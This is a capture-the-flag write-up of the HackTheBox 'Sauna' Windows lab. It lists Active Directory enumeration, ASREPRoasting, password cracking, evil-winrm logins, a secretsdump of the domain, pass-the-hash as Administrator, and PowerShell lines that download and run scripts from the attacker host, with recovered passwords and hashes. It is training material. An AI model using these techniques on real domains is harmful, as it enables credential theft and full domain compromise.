Sauna 10.10.10.175
Sauna is an easy difficulty Windows machine from HacktheBox, it requires on the Active Directory enumeration technique and CVE exploitation, for training your ethical hacking skills and penetration testing skills.
Possible usernames can be found on the website that can be used on an ASREPRoasting attack. A password hash is found and the plaintext password was recovered by an offline brute force attack. This user credential is able to WinRM to the box.
Running WinPEAS reveals the possible path for the Privilege Escalation (PE), the result shows that there a system user has been configured to automatically log in and this user has Windows remote management permissions.
Target Machine: 10.10.10.175
Attacking (Hacker) machine: 10.10.14.15
Nmap
Nikto
Dirb
ldapsearch
nmap -p 88 --script krb5-enum-users
nmap -p 389 --script ldap-rootdse
GetNPUsers.py
Ysoserial
Sherlock
Windows-Exploit-Suggester
The target machine IP is 192.168.187.134. Get a basic understanding the available services of the target machine using nmap aggressive scanning to all available ports.
0.1) Details Analysis
nmap -n -sV -vv --open -Pn -p- -A --reason -oN nmap.txt sauna.htb
Enumeration strategies
Check Website Vulnerability
Check any hidden files/folders of the website
Check SMB
Nikto -- no vulnerability can be abused to bypass authentication.
python3 /root/Documents/ctf/tools/dirsearch/dirsearch.py -u http://192.168.187.134/ -e php,txt -x 301,302,403,404 --simple-report=mrRobot.dirsearch
nmap -p 389 --script ldap-rootdse sauna.htb
CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.local' sauna.htb
ldapsearch -x -h sauna.htb -b "DC=EGOTISTICAL-BANK,DC=local"
fergussmith,fsmith,ferguss
shauncoins,scooin, shaunc
hugobear,hbear, hugob
bowietaylor,btaylor, bowiet
sophiedriver,sdriver, sophied
stevenkerb,skerb,stevenk
/usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -no-pass -outputfile getNPUsers.result -dc-ip sauna.htb
john fsmith.tgt -format:krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt
fsmith: Thestrokes23
smbmap -u fsmith -p Thestrokes23 -H sauna.htb -R
no user.txt found in share folder.
1b5520b98d97cf17f24122a55baf70cf
evil-winrm.rb -u fsmith -p Thestrokes23 -i sauna.htb
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15:8888/Sherlock.ps1'); Find-AllVulns -Command 'start powershell.exe'"
No vulnerabile items found
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15:8888/WindowsEnum.ps1');
https://github.com/absolomb/WindowsEnum/
/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u svc_loanmanager -p Moneymakestheworldgoround! -i sauna.htb
incorrect user name
/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u svc_loanmgr -p Moneymakestheworldgoround! -i sauna.htb
/usr/share/doc/python3-impacket/examples/secretsdump.py 'svc_loanmgr:[email protected]'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u administrator --hash 500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175
f3ee04965c68257382e31502cc5e881f
一開始getnpuser dump到hash是因為剛好fsmith呢個user個account有check到not required kerberos pre authentication，所以可以用呢個account來gen ticket dump到個hash，又剛好個account用weak password破解到，所以羅到user
root就svc_loanmgr呢個service account讀到ad個db，所以dump到個db羅曬hash
by default not requured kerberos authentication係無check到的，一般是app唔support kerberos，所以要check
https://binsec.nl/hackthebox-write-up-sauna-10-10-10-175/
